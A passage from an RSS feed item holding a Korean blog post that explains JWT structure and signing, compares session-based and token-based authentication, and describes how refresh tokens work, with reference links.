    &quot;https://gongibab.com/jwt_claims/is_user&quot;: true,
    &quot;userId&quot;: &quot;11028373727102&quot;,
    &quot;username&quot;: &quot;gongibab&quot;
}</code></pre>
<h3 id="서명">서명</h3>
<p>서명은 헤더의 인코딩 값 그리고 페이로드의 인코딩 값을 합친 뒤 주어진 비밀키로 암호화하여 해쉬를 생성한다. 이 과정을 수도 코드로 나타내면 다음과 같다:</p>
<pre><code class="language-jsx">HMACSHA256(base64UrlEncode(header) + &quot;.&quot; + base64UrlEncode(payload), secret)</code></pre>
<p>위 과정들에서 만들어진 값들을 각각 <code>base64</code> 로 인코딩하여  <code>.</code>을 중간자로 합쳐주면 JWT 토큰이 완성된다.</p>
<blockquote>
<p><strong>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ2ZWxvcGVydC5jb20iLCJleHAiOiIxNDg1MjcwMDAwMDAwIiwiaHR0cHM6Ly92ZWxvcGVydC5jb20vand0X2NsYWltcy9pc19hZG1pbiI6dHJ1ZSwidXNlcklkIjoiMTEwMjgzNzM3MjcxMDIiLCJ1c2VybmFtZSI6InZlbG9wZXJ0In0.WE5fMufM0NDSVGJ8cAolXGkyB5RmYwCto1pQwDIqo2w</strong></p>
</blockquote>
<h2 id="세션-vs-토큰">세션 vs 토큰</h2>
<hr>
<table>
<thead>
<tr>
<th></th>
<th>세션</th>
<th>토큰</th>
</tr>
</thead>
<tbody><tr>
<td>사이즈</td>
<td>쿠키 헤더에 세션 아이디만 담아 보내면 됨으로 적은 트래픽을 소모함</td>
<td>헤더, 페이로드, 서명등 세션 아이디에 비해 훨씬 많은 정보를 담고 있다. 따라서 훨씬 더 많은 트래픽을 소모함</td>
</tr>
<tr>
<td>안정성과 보안</td>
<td>모든 인증 정보를 서버에서 관리하기에 조금더 보안 측면에서 유리하다. 세션 아이디가 탈취된다고 해도 서버에서 해당 세션을 삭제하면 된다. 인증 정보가 서버 세션에 모두 저장되어 있어서 아무 데이터나 저장 가능하다.</td>
<td>서버에서 인증정보를 관리하지 않기 때문에 토큰이 만료되기 전까지 속수무책이다.페이로드가 암호화 되있지 않아서 누구나 내용을 볼 수 있다. 따라서 민감한 데이터는 토큰에 저장할 수 없다.</td>
</tr>
<tr>
<td>서버 부담 및 확장성</td>
<td>사용자가 많아 질 수록 세션 데이터 양이 늘어나면 서버 부담도 비례해 커진다.일반적으로 웹 서버 확장은 수평적으로 일어나는데 이때 세션 기반 인증은 세션 불일치 문제를 겪게 된다. 따라서 세션 스토리지 외부 분리 등의 작업이 필요해진다.</td>
<td>클라이언트에 인증정보를 저장되어 있으므로 세션 방식에 비해 서버 부담 측면에서 조금 더 유리하다. 위와 같은 이유로 HTTP 의 비상태성을 그대로 활용하여 높은 확장성을 가질 수 있다.</td>
</tr>
</tbody></table>
<h2 id="refresh-token">Refresh Token</h2>
<hr>
<p>위에서 언급한 대로 JWT 토큰은 한번 발급한 토큰에 대해서는 제어권이 없고 탈취돼더라도 토큰 만료이전까지 어떻게 할 방법이 없다.</p>
<p>그렇다고 유효기간을 아주 짧게 하자니 사용자가 지속적으로 로그아웃이 되며 사용자 경험에 악영향을 미칠 수 밖에 없다. 이런 문제들을 해결하기 위해 도입된 것이 <code>refresh token</code> 이다.</p>
<h3 id="refresh-token-의-목적과-매커니즘">Refresh Token 의 목적과 매커니즘</h3>
<p><code>Access Token</code> 의 유효 기간을 짧게 하여 보안을 강화하면서도 사용자에게 잦은 로그아웃 경험을 주지 않도록 하는 것이다. <code>Access Token</code>은 리소스에 접근하기 위해서 사용하되, <code>Refresh Token</code>은 기존에 클라이언트에 저장되 있던 <code>Access Token</code>이 만료되었을 때 재발급 받기 위해 사용된다. </p>
<p><code>Refresh Token</code>은 서버 데이터베이스에 사용자와 매핑되어 저장되어 인증에 사용된다.</p>
<p><code>Refresh Token</code><strong>의 매커니즘은 다음과 같다:</strong></p>
<ol>
<li>클라이언트가 로그인을 요청하고 성공하면, 서버는 <code>Access Token</code><strong>와</strong> <code>Refresh Token</code>을 담아 응답한다.</li>
<li>클라이언트는 인가가 필요한 요청에 <code>Access Token</code>와 <code>Refresh Token</code> 을 실어 보낸다.</li>
<li>만약<code>Access Token</code>이 만료 되면, <code>Refresh Token</code>을 사용하여 새로운 <code>Access Token</code>을 발급 받는다.</li>
</ol>
<p><img src="https://velog.velcdn.com/images/gonggi_bab/post/a030a04f-5dd8-4eb2-a225-11f6abeffd47/image.png" alt="리프레시 토큰 작동개념">
<em>출처 : <a href="https://www.rfc-editor.org/rfc/rfc6749.html">https://www.rfc-editor.org/rfc/rfc6749.html</a></em></p>
<hr>
<h3 id="레퍼런스">레퍼런스</h3>
<blockquote>
</blockquote>
<p><a href="https://www.okta.com/kr/identity-101/authentication-vs-authorization/">인증과 인가 (권한 부여) 비교 – 특징 및 차이점 | Okta Identity Korea</a>
<a href="https://youtu.be/y0xMXlOAfss">[10분 테코톡] 🎡토니의 인증과 인가</a>
<a href="https://velopert.com/2350">[JWT] 토큰(Token) 기반 인증에 대한 소개</a>
<a href="https://velopert.com/2389">[JWT] JSON Web Token 소개 및 구조</a>
<a href="https://hudi.blog/session-based-auth-vs-token-based-auth/">세션 기반 인증과 토큰 기반 인증 (feat. 인증과 인가)</a>
<a href="https://hudi.blog/refresh-token/">Access Token의 문제점과 Refresh Token</a>
<a href="https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/">What Are Refresh Tokens and How to Use Them Securely</a></p>
<blockquote>
</blockquote>
]]></description>
        </item>
    </channel>
</rss>